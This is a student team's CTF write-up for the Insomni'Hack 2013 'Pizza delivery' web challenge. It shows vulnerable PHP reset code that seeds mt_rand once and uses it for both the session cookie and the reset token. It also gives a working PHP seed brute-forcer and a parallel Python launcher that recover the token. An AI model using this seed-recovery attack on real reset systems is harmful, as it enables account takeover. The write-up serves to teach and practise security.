SecurIMAG-CTF Write-up-insomnihack 2013-web-200-email

De Ensiwiki
Aller à : navigation, rechercher

Security logo.png  Sécurité  Logo for light background.png  SecurIMAG  This page lists the hacking contests, CTF Write-up by SecurIMAG, the Ensimag students hacking team.

Insomni'Hack 2013 - Web 200 email - PIZZA DELIVERY

This is write-up of a hacking contest CTF challenge by SecurIMAG.

Keywords

PNRG, seed, randomness

P0wners

Content

This challenge begins on an authentication web-page for Pizza delivery. We don't know any valid user nor password, and registration is closed, but the exposition gives us an email address corresponding to a valid account.

On this page, there also is a link to "recover password". The recovery page is only composed by a form, with an email input and a Reset button.

PHP-Code of this page is given :

<?php
$user_to_reset = "";
$seed = "";
$h = fopen("/dev/urandom","rb");
while(strlen($seed) < 8) {
        $c = intval(fgetc($h));

            if($c != 0) {
                      $seed .= ord(fgetc($h));
                            }
}
  fclose($h);
mt_srand($seed);
function generateSession() {
      $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
        $session = "";
        for($i = 0; $i < 50; $i++) {
                $session .= $chars[mt_rand(0,strlen($chars)-1)];
                  }
          return $session;
}

function isValidSession($sessionid) {
      if(preg_match("/[a-zA-z0-9]{50}/",$sessionid) == 1) {
              return true;
                }
        return false;
}

function startReset() {
      $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        $token = "";
        for($i = 0; $i < 32; $i++) {
                $token .= $chars[mt_rand(0,strlen($chars)-1)];
                  }
        echo "token: " . $token . "\n";
          $query = "INSERT INTO resets (user_id,token) VALUES ((SELECT id FROM users WHERE email = '" . mysql_real_escape_string($_POST['email']) . "'),'$token')";
            mail($_POST['email'],"Password reset", "http://web01.insomni.hack:8080/reset.php?token=$token");
            die("Email with a link to reset your password has been sent");
}

function testToken() {
      global $user_to_reset;
        $res = mysql_query("SELECT * FROM resets WHERE token = '" . mysql_real_escape_string($_GET['token']) . "'");
        if(mysql_num_rows($res) === 1) {
                $row = mysql_fetch_array($res,MYSQL_ASSOC);
                    $user_to_reset = $row['user_id'];
                    return true;
                      }
          return false;
}

function showPassword() {
      global $user_to_reset;
        $res = mysql_query("SELECT password FROM  users WHERE id = '" . intval($user_to_reset) . "'");
        $resp = mysql_fetch_array($res,MYSQL_ASSOC);
 die("Your password is : " . $resp['password']);
}


$sessionid = "";
if(isset($_COOKIE['session']) && isValidSession($_COOKIE['session'])) {
      $sessionid = $_COOKIE['session'];
}

if($sessionid === "") {
      $sessionid = generateSession();
}

if (isset($_POST['email'])) {
      startReset();
}

if(isset($_GET['token'])) {
      if(testToken()) {
                showPassword();
                    }
        else {
                die("Unkown token");
                  }
}


?>
<html>
<body>
<center>
Enter email to reset password:<br/>
<form action="" method="POST">
<input type="text" name="email"/>
<input type="submit" value="Reset"/>
</form>
</center>
</body>
</html>


Our first idea was attempting an SQL injection. The problem is that the filter mysql_real_escape_string prevents such attacks, except if we are in a LIKE statement (since % are not escaped), but this is not the case here.


As we don't have the php code of the authentication page, we were not sure there were no injection possible there, but after few minutes trying, we decided to focus on the php code.

First, we notice that when submitting an email, the function startReset() is called. This function uses mt_rand to generate a token, then inserts the couple (user_id, token)in the database (the user_id being dependant on the email we entered in the form). And finally, it sends the token by email.

To access the password, the user has to give the token as a GET variable. The token is then checked by testToken() (cheking if the token is in the DB), and finally the password is given.

As we can't access the boxmail, we have to find another way to get the token inserted.


Give me entropy please

If we take a look at the token generation, we can see that it uses mt_rand which is initialized with a 8-to-10 digits seed at the very beginning of the php code.

The seed is generated using /dev/random (on the server !) so it seems nearly impossible to guess it reversing the generation.

However, after being initialized, mt_rand is used in the function generateSession() to generate a cookie session.

OK, now we have a potential vulnerability:

  • We know that the seed is between 10^8 and 10^11 - 1
  • We have the cookie session generated after having initialized mt_rand.

So let's brute-force the seed. If we can find a seed s such that the cookie session generated by mt_rand is ours, then we will be able to re-generate the token and access password.

Here's the php code to test all seeds between argv[1] and argv[2] (we can easily see alejandr0 personal touch in the first lines) :


#!/usr/bin/env php
<?php

$start = intval($argv[1]);
$end = intval($argv[2]);
if(sizeof($argv)!=3) {
        die("SUCKER!!!");
}

$cookie = "yWzBRHaY7KP7QA8ReauAeIxYf5E0Uy1X7pPAm07mZoiAdqzpAh";

$fp = fopen('data'.$start.'.txt', 'w');

$i = $start;
while ($i < $end) {
    //$seed=strval($i);
        $seed=$i;
    mt_srand($seed);
    $cook = generateSession();
    if ( $cook === $cookie) {
        $message = "seed: " . $seed ."\n";
        $message .= "token: " . genToken() . "\n";
                fwrite($fp, $message);
                break;
    }
    if ($seed % 10000 == 0) {
        $pourcent = ($seed-$start)*100/($end-$start);
        $message = "Avancement: $pourcent%\n";
                fwrite($fp, $message);
    }
    $i += 1;
}

fclose($fp);

function genToken() {
      $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        $token = "";
        for($i = 0; $i < 32; $i++) {
                $token .= $chars[mt_rand(0,strlen($chars)-1)];
        }
        return $token;
}

function generateSession() {
  $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  $session = "";
  for($i = 0; $i < 50; $i++) {
    $session .= $chars[mt_rand(0,strlen($chars)-1)];
  }
  return $session;
}

?>

OK, that seems good, but if we try to execute this with start=10^8 and end=10^11-1, we can come back in a few Epochs to have the result.

As we keep on hand a magnificent 64*8 cores server (thanks Ensimag), let's multi-thread it!

Following code was written by alejandr0 :

#!/usr/bin/env python
import subprocess

i_start=10000000
i_end=  10000000000

num_cpu_cores = 60*8 #ensisun

range_for_one_cpu = (i_end-i_start)/num_cpu_cores

#num_of_processes = 

#print(" ")
for p in range(0,num_cpu_cores):
        tmp_start = p*range_for_one_cpu
        tmp_end = (p+1)*range_for_one_cpu
        subprocess.Popen(['nohup', 'php','./bruteforce.php', str(tmp_start), str(tmp_end)],
                stdout=open('/dev/null', 'w'),
                stderr=open('log_%d.log' % p, 'a'))

Aha! Much much better. Tooks about one minute to test all 8-digits seeds, and about ten minutes to test all 9-digits seeds. Nothing, so let's wait for the 10-digits seeds results.

Creation of a php process army

Time for a beer [thanks Insomni'hack staff!]

And finally, we get it! One among the 500 php process we ran has found a seed which leeds to our cookie! Let's try the token corresponding to this seed : web01.insomni.hack:8080/reset.php?token=D2kkXiIpYDalOG0DpST2HuFiIQFhrLEB

And here we are! We have the password !


CONCLUSION

A few remarks that could be helpful to get the solution faster than we did:

  • A seed is a number, not a string. So trying to initialize mt_rand with strval(i) were i is a number does not work very well ...
  • It is better to compare the cookies we generate with the GOOD session cookie (thanks _Frky) ...
  • As we all know, php is not really what we can call a symbol of performance ... So it may have been a good idea to write the brute-force code in c (we can find the code for mt_rand on the net and write it in c).

Links

securimag